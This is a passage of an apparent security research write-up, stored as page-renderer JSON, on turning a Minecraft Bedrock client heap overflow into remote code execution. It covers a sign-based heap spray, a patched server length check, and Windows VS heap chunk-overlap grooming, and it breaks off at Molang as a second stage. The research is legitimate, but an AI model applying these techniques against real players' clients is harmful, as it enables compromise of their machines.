6,"value":153276},{"type":21,"tag":153,"props":153793,"children":153794},{"style":160},[153795],{"type":26,"value":297},{"type":21,"tag":153,"props":153797,"children":153798},{"style":192},[153799],{"type":26,"value":153267},{"type":21,"tag":153,"props":153801,"children":153802},{"style":198},[153803],{"type":26,"value":53560},{"type":21,"tag":153,"props":153805,"children":153806},{"style":160},[153807],{"type":26,"value":2659},{"type":21,"tag":153,"props":153809,"children":153810},{"class":155,"line":26330},[153811],{"type":21,"tag":153,"props":153812,"children":153813},{"style":160},[153814],{"type":26,"value":153323},{"type":21,"tag":153,"props":153816,"children":153817},{"class":155,"line":26338},[153818,153822,153826],{"type":21,"tag":153,"props":153819,"children":153820},{"style":160},[153821],{"type":26,"value":153307},{"type":21,"tag":153,"props":153823,"children":153824},{"style":198},[153825],{"type":26,"value":12313},{"type":21,"tag":153,"props":153827,"children":153828},{"style":160},[153829],{"type":26,"value":2941},{"type":21,"tag":153,"props":153831,"children":153832},{"class":155,"line":26346},[153833],{"type":21,"tag":153,"props":153834,"children":153835},{"style":160},[153836],{"type":26,"value":153837},"             \n",{"type":21,"tag":153,"props":153839,"children":153840},{"class":155,"line":26355},[153841,153845,153849,153853,153857,153862],{"type":21,"tag":153,"props":153842,"children":153843},{"style":170},[153844],{"type":26,"value":153331},{"type":21,"tag":153,"props":153846,"children":153847},{"style":192},[153848],{"type":26,"value":153336},{"type":21,"tag":153,"props":153850,"children":153851},{"style":198},[153852],{"type":26,"value":255},{"type":21,"tag":153,"props":153854,"children":153855},{"style":1751},[153856],{"type":26,"value":38904},{"type":21,"tag":153,"props":153858,"children":153859},{"style":181},[153860],{"type":26,"value":153861}," wait_for_block",{"type":21,"tag":153,"props":153863,"children":153864},{"style":160},[153865],{"type":26,"value":773},{"type":21,"tag":153,"props":153867,"children":153868},{"class":155,"line":26431},[153869,153874,153878,153882,153886,153890],{"type":21,"tag":153,"props":153870,"children":153871},{"style":192},[153872],{"type":26,"value":153873},"                world",{"type":21,"tag":153,"props":153875,"children":153876},{"style":160},[153877],{"type":26,"value":355},{"type":21,"tag":153,"props":153879,"children":153880},{"style":181},[153881],{"type":26,"value":153358},{"type":21,"tag":153,"props":153883,"children":153884},{"style":160},[153885],{"type":26,"value":189},{"type":21,"tag":153,"props":153887,"children":153888},{"style":671},[153889],{"type":26,"value":153367},{"type":21,"tag":153,"props":153891,"children":153892},{"style":160},[153893],{"type":26,"value":679},{"type":21,"tag":153,"props":153895,"children":153896},{"class":155,"line":26464},[153897],{"type":21,"tag":153,"props":153898,"children":153899},{"style":192},[153900],{"type":26,"value":153901},"                sign_location\n",{"type":21,"tag":153,"props":153903,"children":153904},{"class":155,"line":26472},[153905],{"type":21,"tag":153,"props":153906,"children":153907},{"style":160},[153908],{"type":26,"value":127411},{"type":21,"tag":153,"props":153910,"children":153911},{"class":155,"line":26480},[153912,153916,153920,153924],{"type":21,"tag":153,"props":153913,"children":153914},{"style":192},[153915],{"type":26,"value":153404},{"type":21,"tag":153,"props":153917,"children":153918},{"style":160},[153919],{"type":26,"value":355},{"type":21,"tag":153,"props":153921,"children":153922},{"style":181},[153923],{"type":26,"value":153011},{"type":21,"tag":153,"props":153925,"children":153926},{"style":160},[153927],{"type":26,"value":773},{"type":21,"tag":153,"props":153929,"children":153930},{"class":155,"line":26517},[153931,153935,153939,153943,153947,153951],{"type":21,"tag":153,"props":153932,"children":153933},{"style":192},[153934],{"type":26,"value":153424},{"type":21,"tag":153,"props":153936,"children":153937},{"style":160},[153938],{"type":26,"value":355},{"type":21,"tag":153,"props":153940,"children":153941},{"style":181},[153942],{"type":26,"value":153032},{"type":21,"tag":153,"props":153944,"children":153945},{"style":160},[153946],{"type":26,"value":189},{"type":21,"tag":153,"props":153948,"children":153949},{"style":671},[153950],{"type":26,"value":153041},{"type":21,"tag":153,"props":153952,"children":153953},{"style":160},[153954],{"type":26,"value":5909},{"type":21,"tag":153,"props":153956,"children":153957},{"class":155,"line":26530},[153958],{"type":21,"tag":153,"props":153959,"children":153960},{"style":160},[153961],{"type":26,"value":127411},{"type":21,"tag":153,"props":153963,"children":153964},{"class":155,"line":26543},[153965],{"type":21,"tag":153,"props":153966,"children":153967},{"emptyLinePlaceholder":16},[153968],{"type":26,"value":759},{"type":21,"tag":153,"props":153970,"children":153971},{"class":155,"line":26556},[153972,153976,153980],{"type":21,"tag":153,"props":153973,"children":153974},{"style":160},[153975],{"type":26,"value":153307},{"type":21,"tag":153,"props":153977,"children":153978},{"style":198},[153979],{"type":26,"value":12313},{"type":21,"tag":153,"props":153981,"children":153982},{"style":160},[153983],{"type":26,"value":2941},{"type":21,"tag":153,"props":153985,"children":153986},{"class":155,"line":26610},[153987],{"type":21,"tag":153,"props":153988,"children":153989},{"style":160},[153990],{"type":26,"value":2765},{"type":21,"tag":153,"props":153992,"children":153993},{"class":155,"line":26619},[153994],{"type":21,"tag":153,"props":153995,"children":153996},{"style":160},[153997],{"type":26,"value":539},{"type":21,"tag":153,"props":153999,"children":154000},{"class":155,"line":34974},[154001],{"type":21,"tag":153,"props":154002,"children":154003},{"style":160},[154004],{"type":26,"value":548},{"type":21,"tag":153,"props":154006,"children":154007},{"class":155,"line":34995},[154008],{"type":21,"tag":153,"props":154009,"children":154010},{"emptyLinePlaceholder":16},[154011],{"type":26,"value":759},{"type":21,"tag":153,"props":154013,"children":154014},{"class":155,"line":83248},[154015,154020,154024,154029,154033,154038,154042,154047,154051,154056,154060,154064],{"type":21,"tag":153,"props":154016,"children":154017},{"style":192},[154018],{"type":26,"value":154019},"world",{"type":21,"tag":153,"props":154021,"children":154022},{"style":160},[154023],{"type":26,"value":355},{"type":21,"tag":153,"props":154025,"children":154026},{"style":192},[154027],{"type":26,"value":154028},"afterEvents",{"type":21,"tag":153,"props":154030,"children":154031},{"style":160},[154032],{"type":26,"value":355},{"type":21,"tag":153,"props":154034,"children":154035},{"style":192},[154036],{"type":26,"value":154037},"playerSpawn",{"type":21,"tag":153,"props":154039,"children":154040},{"style":160},[154041],{"type":26,"value":355},{"type":21,"tag":153,"props":154043,"children":154044},{"style":181},[154045],{"type":26,"value":154046},"subscribe",{"type":21,"tag":153,"props":154048,"children":154049},{"style":160},[154050],{"type":26,"value":34218},{"type":21,"tag":153,"props":154052,"children":154053},{"style":192},[154054],{"type":26,"value":154055},"arg",{"type":21,"tag":153,"props":154057,"children":154058},{"style":160},[154059],{"type":26,"value":2362},{"type":21,"tag":153,"props":154061,"children":154062},{"style":170},[154063],{"type":26,"value":17524},{"type":21,"tag":153,"props":154065,"children":154066},{"style":160},[154067],{"type":26,"value":236},{"type":21,"tag":153,"props":154069,"children":154070},{"class":155,"line":83261},[154071,154076],{"type":21,"tag":153,"props":154072,"children":154073},{"style":181},[154074],{"type":26,"value":154075},"    create_wall",{"type":21,"tag":153,"props":154077,"children":154078},{"style":160},[154079],{"type":26,"value":839},{"type":21,"tag":153,"props":154081,"children":154082},{"class":155,"line":83269},[154083],{"type":21,"tag":153,"props":154084,"children":154085},{"style":160},[154086],{"type":26,"value":38031},{"type":21,"tag":153,"props":154088,"children":154089},{"class":155,"line":83277},[154090],{"type":21,"tag":153,"props":154091,"children":154092},{"emptyLinePlaceholder":16},[154093],{"type":26,"value":759},{"type":21,"tag":153,"props":154095,"children":154096},{"class":155,"line":83285},[154097,154101,154105,154110,154114,154119,154123,154127,154131,154135,154139,154143,154147,154151],{"type":21,"tag":153,"props":154098,"children":154099},{"style":192},[154100],{"type":26,"value":154019},{"type":21,"tag":153,"props":154102,"children":154103},{"style":160},[154104],{"type":26,"value":355},{"type":21,"tag":153,"props":154106,"children":154107},{"style":192},[154108],{"type":26,"value":154109},"beforeEvents",{"type":21,"tag":153,"props":154111,"children":154112},{"style":160},[154113],{"type":26,"value":355},{"type":21,"tag":153,"props":154115,"children":154116},{"style":192},[154117],{"type":26,"value":154118},"playerLeave",{"type":21,"tag":153,"props":154120,"children":154121},{"style":160},[154122],{"type":26,"value":355},{"type":21,"tag":153,"props":154124,"children":154125},{"style":181},[154126],{"type":26,"value":154046},{"type":21,"tag":153,"props":154128,"children":154129},{"style":160},[154130],{"type":26,"value":189},{"type":21,"tag":153,"props":154132,"children":154133},{"style":170},[154134],{"type":26,"value":38838},{"type":21,"tag":153,"props":154136,"children":154137},{"style":160},[154138],{"type":26,"value":5820},{"type":21,"tag":153,"props":154140,"children":154141},{"style":192},[154142],{"type":26,"value":154055},{"type":21,"tag":153,"props":154144,"children":154145},{"style":160},[154146],{"type":26,"value":2362},{"type":21,"tag":153,"props":154148,"children":154149},{"style":170},[154150],{"type":26,"value":17524},{"type":21,"tag":153,"props":154152,"children":154153},{"style":160},[154154],{"type":26,"value":236},{"type":21,"tag":153,"props":154156,"children":154157},{"class":155,"line":83325},[154158,154163],{"type":21,"tag":153,"props":154159,"children":154160},{"style":181},[154161],{"type":26,"value":154162},"    remove_wall",{"type":21,"tag":153,"props":154164,"children":154165},{"style":160},[154166],{"type":26,"value":839},{"type":21,"tag":153,"props":154168,"children":154169},{"class":155,"line":83333},[154170],{"type":21,"tag":153,"props":154171,"children":154172},{"style":160},[154173],{"type":26,"value":38031},{"type":21,"tag":22,"props":154175,"children":154176},{},[154177],{"type":26,"value":154178},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":21,"tag":22,"props":154180,"children":154181},{},[154182],{"type":21,"tag":3644,"props":154183,"children":154186},{"alt":154184,"src":154185},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":21,"tag":22,"props":154188,"children":154189},{},[154190],{"type":26,"value":154191},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":21,"tag":21591,"props":154193,"children":154195},{"id":154194},"a-small-roadblock",[154196],{"type":26,"value":154197},"A Small Roadblock",{"type":21,"tag":22,"props":154199,"children":154200},{},[154201],{"type":26,"value":154202},"While testing our heap spray method, we encountered the following error:",{"type":21,"tag":143,"props":154204,"children":154206},{"code":154205},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[154207],{"type":21,"tag":78,"props":154208,"children":154209},{"__ignoreMap":7},[154210],{"type":26,"value":154205},{"type":21,"tag":22,"props":154212,"children":154213},{},[154214,154216,154222],{"type":26,"value":154215},"An error is thrown by the server executable while trying to assign text longer than ",{"type":21,"tag":78,"props":154217,"children":154219},{"className":154218},[],[154220],{"type":26,"value":154221},"512",{"type":26,"value":154223}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":21,"tag":22,"props":154225,"children":154226},{},[154227],{"type":26,"value":154228},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":21,"tag":22,"props":154230,"children":154231},{},[154232],{"type":26,"value":154233},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":21,"tag":22,"props":154235,"children":154236},{},[154237],{"type":21,"tag":3644,"props":154238,"children":154240},{"alt":52869,"src":154239},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":21,"tag":22,"props":154242,"children":154243},{},[154244,154246,154252],{"type":26,"value":154245},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":21,"tag":78,"props":154247,"children":154249},{"className":154248},[],[154250],{"type":26,"value":154251},"string_length \u003C= 512",{"type":26,"value":154253}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":21,"tag":22,"props":154255,"children":154256},{},[154257],{"type":26,"value":154258},"The disassembly of the comparison looks like this:",{"type":21,"tag":22,"props":154260,"children":154261},{},[154262],{"type":21,"tag":3644,"props":154263,"children":154265},{"alt":52869,"src":154264},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":21,"tag":22,"props":154267,"children":154268},{},[154269,154271,154276,154278,154283,154284,154289,154291,154297,154299,154305,154307,154312,154314,154319],{"type":26,"value":154270},"The code compares ",{"type":21,"tag":78,"props":154272,"children":154274},{"className":154273},[],[154275],{"type":26,"value":59066},{"type":26,"value":154277}," (the string length) to ",{"type":21,"tag":78,"props":154279,"children":154281},{"className":154280},[],[154282],{"type":26,"value":130111},{"type":26,"value":5820},{"type":21,"tag":78,"props":154285,"children":154287},{"className":154286},[],[154288],{"type":26,"value":154221},{"type":26,"value":154290}," decimal). It then performs a ",{"type":21,"tag":78,"props":154292,"children":154294},{"className":154293},[],[154295],{"type":26,"value":154296},"jbe",{"type":26,"value":154298},", jumping to address ",{"type":21,"tag":78,"props":154300,"children":154302},{"className":154301},[],[154303],{"type":26,"value":154304},"0x14275114c",{"type":26,"value":154306}," if ",{"type":21,"tag":78,"props":154308,"children":154310},{"className":154309},[],[154311],{"type":26,"value":59066},{"type":26,"value":154313}," is less than or equal to ",{"type":21,"tag":78,"props":154315,"children":154317},{"className":154316},[],[154318],{"type":26,"value":154221},{"type":26,"value":154320},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":21,"tag":22,"props":154322,"children":154323},{},[154324,154326,154331,154333,154339],{"type":26,"value":154325},"To force execution down this path, we patched the ",{"type":21,"tag":78,"props":154327,"children":154329},{"className":154328},[],[154330],{"type":26,"value":154296},{"type":26,"value":154332}," instruction to an unconditional ",{"type":21,"tag":78,"props":154334,"children":154336},{"className":154335},[],[154337],{"type":26,"value":154338},"jmp",{"type":26,"value":154340},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":21,"tag":22,"props":154342,"children":154343},{},[154344],{"type":21,"tag":3644,"props":154345,"children":154347},{"alt":52869,"src":154346},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":21,"tag":22,"props":154349,"children":154350},{},[154351,154353,154358,154360,154365],{"type":26,"value":154352},"After patching the server and calling ",{"type":21,"tag":78,"props":154354,"children":154356},{"className":154355},[],[154357],{"type":26,"value":152462},{"type":26,"value":154359}," with a size of ",{"type":21,"tag":78,"props":154361,"children":154363},{"className":154362},[],[154364],{"type":26,"value":60440},{"type":26,"value":154366},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":21,"tag":22,"props":154368,"children":154369},{},[154370],{"type":21,"tag":3644,"props":154371,"children":154373},{"alt":52869,"src":154372},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":21,"tag":21491,"props":154375,"children":154376},{},[],{"type":21,"tag":22,"props":154378,"children":154379},{},[154380],{"type":26,"value":154381},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":21,"tag":22,"props":154383,"children":154384},{},[154385],{"type":26,"value":154386},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":21,"tag":114,"props":154388,"children":154390},{"id":154389},"overlapping-heap-chunks",[154391],{"type":26,"value":154392},"Overlapping Heap Chunks",{"type":21,"tag":22,"props":154394,"children":154395},{},[154396,154398,154403],{"type":26,"value":154397},"The attack is described in detail in the referenced blog post (",{"type":21,"tag":29,"props":154399,"children":154401},{"href":152206,"rel":154400},[33],[154402],{"type":26,"value":49874},{"type":26,"value":154404},"), so we will present a high-level overview.",{"type":21,"tag":22,"props":154406,"children":154407},{},[154408,154410,154416],{"type":26,"value":154409},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":21,"tag":78,"props":154411,"children":154413},{"className":154412},[],[154414],{"type":26,"value":154415},"_HEAP_VS_CHUNK_HEADER",{"type":26,"value":154417}," structure layout is required:",{"type":21,"tag":143,"props":154419,"children":154421},{"code":154420},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[154422],{"type":21,"tag":78,"props":154423,"children":154424},{"__ignoreMap":7},[154425],{"type":26,"value":154420},{"type":21,"tag":22,"props":154427,"children":154428},{},[154429,154431,154437,154439,154445,154446,154452,154453,154459,154461,154466,154468,154473,154475,154481,154483,154488,154490,154496],{"type":26,"value":154430},"At offset 0 there is a header ",{"type":21,"tag":78,"props":154432,"children":154434},{"className":154433},[],[154435],{"type":26,"value":154436},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":26,"value":154438}," containing fields such as ",{"type":21,"tag":78,"props":154440,"children":154442},{"className":154441},[],[154443],{"type":26,"value":154444},"MemoryCost",{"type":26,"value":1670},{"type":21,"tag":78,"props":154447,"children":154449},{"className":154448},[],[154450],{"type":26,"value":154451},"UnsafeSize",{"type":26,"value":1670},{"type":21,"tag":78,"props":154454,"children":154456},{"className":154455},[],[154457],{"type":26,"value":154458},"UnsafePrevSize",{"type":26,"value":154460},", etc. For the attack we only care about the ",{"type":21,"tag":78,"props":154462,"children":154464},{"className":154463},[],[154465],{"type":26,"value":154451},{"type":26,"value":154467}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":21,"tag":78,"props":154469,"children":154471},{"className":154470},[],[154472],{"type":26,"value":128734},{"type":26,"value":154474},", so for a chunk of size ",{"type":21,"tag":78,"props":154476,"children":154478},{"className":154477},[],[154479],{"type":26,"value":154480},"0x4010",{"type":26,"value":154482}," the value of ",{"type":21,"tag":78,"props":154484,"children":154486},{"className":154485},[],[154487],{"type":26,"value":154451},{"type":26,"value":154489}," would be ",{"type":21,"tag":78,"props":154491,"children":154493},{"className":154492},[],[154494],{"type":26,"value":154495},"0x401",{"type":26,"value":355},{"type":21,"tag":22,"props":154498,"children":154499},{},[154500,154501,154506],{"type":26,"value":66510},{"type":21,"tag":78,"props":154502,"children":154504},{"className":154503},[],[154505],{"type":26,"value":154451},{"type":26,"value":154507}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":21,"tag":22,"props":154509,"children":154510},{},[154511,154513,154518,154520,154525,154527,154533,154535,154540],{"type":26,"value":154512},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":21,"tag":78,"props":154514,"children":154516},{"className":154515},[],[154517],{"type":26,"value":154451},{"type":26,"value":154519}," in the smallest possible VS chunk (",{"type":21,"tag":78,"props":154521,"children":154523},{"className":154522},[],[154524],{"type":26,"value":154480},{"type":26,"value":154526},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":21,"tag":78,"props":154528,"children":154530},{"className":154529},[],[154531],{"type":26,"value":154532},"[0x10, 0xffff0]",{"type":26,"value":154534}," range, the probability that it exceeds ",{"type":21,"tag":78,"props":154536,"children":154538},{"className":154537},[],[154539],{"type":26,"value":154480},{"type":26,"value":154541}," is:",{"type":21,"tag":143,"props":154543,"children":154545},{"code":154544},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[154546],{"type":21,"tag":78,"props":154547,"children":154548},{"__ignoreMap":7},[154549],{"type":26,"value":154544},{"type":21,"tag":22,"props":154551,"children":154552},{},[154553],{"type":26,"value":154554},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":21,"tag":22,"props":154556,"children":154557},{},[154558],{"type":26,"value":154559},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":21,"tag":21591,"props":154561,"children":154563},{"id":154562},"overlap-attack-overview",[154564],{"type":26,"value":154565},"Overlap Attack Overview",{"type":21,"tag":22,"props":154567,"children":154568},{},[154569,154571,154576],{"type":26,"value":154570},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":21,"tag":78,"props":154572,"children":154574},{"className":154573},[],[154575],{"type":26,"value":128757},{"type":26,"value":154577}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":21,"tag":22,"props":154579,"children":154580},{},[154581,154583,154588,154590,154595],{"type":26,"value":154582},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":21,"tag":78,"props":154584,"children":154586},{"className":154585},[],[154587],{"type":26,"value":150465},{"type":26,"value":154589},"-sized chunks in the free list that we want to avoid. If a ",{"type":21,"tag":78,"props":154591,"children":154593},{"className":154592},[],[154594],{"type":26,"value":150465},{"type":26,"value":154596},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":21,"tag":22,"props":154598,"children":154599},{},[154600,154602,154607],{"type":26,"value":154601},"To remove those ",{"type":21,"tag":78,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":26,"value":150465},{"type":26,"value":154608},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":21,"tag":22,"props":154610,"children":154611},{},[154612],{"type":26,"value":154613},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":21,"tag":143,"props":154615,"children":154617},{"code":154616},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[154618],{"type":21,"tag":78,"props":154619,"children":154620},{"__ignoreMap":7},[154621],{"type":26,"value":154616},{"type":21,"tag":22,"props":154623,"children":154624},{},[154625,154627,154632,154634,154639],{"type":26,"value":154626},"Next we create ",{"type":21,"tag":5302,"props":154628,"children":154629},{},[154630],{"type":26,"value":154631},"holes",{"type":26,"value":154633}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":21,"tag":78,"props":154635,"children":154637},{"className":154636},[],[154638],{"type":26,"value":150465},{"type":26,"value":154640},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":21,"tag":143,"props":154642,"children":154644},{"code":154643},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[154645],{"type":21,"tag":78,"props":154646,"children":154647},{"__ignoreMap":7},[154648],{"type":26,"value":154643},{"type":21,"tag":22,"props":154650,"children":154651},{},[154652,154654,154659,154661,154666],{"type":26,"value":154653},"When a ",{"type":21,"tag":78,"props":154655,"children":154657},{"className":154656},[],[154658],{"type":26,"value":150465},{"type":26,"value":154660}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":21,"tag":78,"props":154662,"children":154664},{"className":154663},[],[154665],{"type":26,"value":154451},{"type":26,"value":154667}," field will be overwritten:",{"type":21,"tag":143,"props":154669,"children":154671},{"code":154670},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[154672],{"type":21,"tag":78,"props":154673,"children":154674},{"__ignoreMap":7},[154675],{"type":26,"value":154670},{"type":21,"tag":22,"props":154677,"children":154678},{},[154679,154681,154686,154688,154693,154695,154700],{"type":26,"value":154680},"Once ",{"type":21,"tag":78,"props":154682,"children":154684},{"className":154683},[],[154685],{"type":26,"value":154451},{"type":26,"value":154687}," has been overwritten, ",{"type":21,"tag":78,"props":154689,"children":154691},{"className":154690},[],[154692],{"type":26,"value":150465},{"type":26,"value":154694}," allocation is freed immediately after, restoring the previous layout but with ",{"type":21,"tag":78,"props":154696,"children":154698},{"className":154697},[],[154699],{"type":26,"value":154451},{"type":26,"value":154701}," field corrupted:",{"type":21,"tag":143,"props":154703,"children":154705},{"code":154704},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[154706],{"type":21,"tag":78,"props":154707,"children":154708},{"__ignoreMap":7},[154709],{"type":26,"value":154704},{"type":21,"tag":22,"props":154711,"children":154712},{},[154713],{"type":26,"value":154714},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":21,"tag":143,"props":154716,"children":154718},{"code":154717},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[154719],{"type":21,"tag":78,"props":154720,"children":154721},{"__ignoreMap":7},[154722],{"type":26,"value":154717},{"type":21,"tag":22,"props":154724,"children":154725},{},[154726],{"type":26,"value":154727},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":21,"tag":143,"props":154729,"children":154731},{"code":154730},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154732],{"type":21,"tag":78,"props":154733,"children":154734},{"__ignoreMap":7},[154735],{"type":26,"value":154730},{"type":21,"tag":21491,"props":154737,"children":154738},{},[],{"type":21,"tag":22,"props":154740,"children":154741},{},[154742],{"type":26,"value":154743},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":21,"tag":22,"props":154745,"children":154746},{},[154747],{"type":26,"value":154748},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":21,"tag":114,"props":154750,"children":154752},{"id":154751},"molang",[154753],{"type":26,"value":154754},"Molang",{"type":21,"tag":22,"props":154756,"children":154757},{},[154758,154760,154767],{"type":26,"value":154759},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":21,"tag":29,"props":154761,"children":154764},{"href":154762,"rel":154763},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[33],[154765],{"type":26,"value":154766},"syntax guide",{"type":26,"value":355},{"type":21,"tag":22,"props":154769,"children":154770},{},[154771,154773,154778,154779,154784],{"type":26,"value":154772},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":21,"tag":78,"props":154774,"children":154776},{"className":154775},[],[154777],{"type":26,"value":1694},{"type":26,"value":52},{"type":21,"tag":78,"props":154780,"children":154782},{"className":154781},[],[154783],{"type":26,"value":18385},{"type":26,"value":154785}," operators are supported.",{"type":21,"tag":22,"props":154787,"children":154788},{},[154789,154791,154797,154799,154804,154806,154811,154812,154817,154818],{"type":26,"value":154790},"Variables are defined by prepending ",{"type":21,"tag":78,"props":154792,"children":154794},{"className":154793},[],[154795],{"type":26,"value":154796},"variable.",{"type":26,"value":154798}," to the name and assigning a value. For example, to define ",{"type":21,"tag":78,"props":154800,"children":154802},{"className":154801},[],[154803],{"type":26,"value":11806},{"type":26,"value":154805}," as the sum of ",{"type":21,"tag":78,"props":154807,"children":154809},{"className":154808},[],[154810],{"type":26,"value":29},{"type":26,"value":52},{"type":21,"tag":78,"props":154813,"children":154815},{"className":154814},[],[154816],{"type":26,"value":5972},{"type":26,"value":18031},{"type":21,"tag":78,"props":154819,"children":154821},{"className":154820},[],[154822],{"type":26,"value":154823},"variable.result = variable.a + variable.b;",{"type":21,"tag":22,"props":154825,"children":154826},{},[154827,154829,154834,154835,154840,154841,154846,154847,154852],{"type":26,"value":154828},"Logical operators such as ",{"type":21,"tag":78,"props":154830,"children":154832},{"className":154831},[],[154833],{"type":26,"value":25111},{"type":26,"value":1670},{"type":21,"tag":78,"props":154836,"children":154838},{"className":154837},[],[154839],{"type":26,"value":75492},{"type":26,"value":1670},{"type":21,"tag":78,"props":154842,"children":154844},{"className":154843},[],[154845],{"type":26,"value":8537},{"type":26,"value":1670},{"type":21,"tag":78,"props":154848,"children":154850},{"className":154849},[],[154851],{"type":26,"value":13182},{"type":26,"value":154853},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":21,"tag":143,"props":154855,"children":154857},{"code":154856},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[154858],{"type":21,"tag":78,"props":154859,"children":154860},{"__ignoreMap":7},[154861],{"type":26,"value":154856},{"type":21,"tag":22,"props":154863,"children":154864},{},[154865],{"type":26,"value":154866},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":21,"tag":21591,"props":154868,"children":154870},{"id":154869},"molang-internals",[154871],{"type":26,"value":154872},"Molang Internals",{"type":21,"tag":22,"props":154874,"children":154875},{},[154876],{"type":26,"value":154877},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":21,"tag":22,"props":154879,"children":154880},{},[154881],{"type":26,"value":154882},"Below we describe the structures involved and their memory 